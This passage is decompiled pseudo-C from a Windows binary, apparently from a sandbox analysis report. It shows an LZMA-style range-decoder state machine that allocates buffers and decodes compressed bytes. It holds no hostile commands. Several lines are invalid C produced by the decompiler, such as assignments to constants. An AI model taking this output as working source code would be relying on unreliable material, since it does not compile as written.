								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4));
							}
							_t535 = GlobalAlloc("true", 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8));
							}
							_t535 = GlobalAlloc("true",  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L23:
							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									_t170 = __edx + 1; // 0x1
									__ebx = _t170;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t217 = __edx + 1; // 0x1
								__ebx = _t217;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
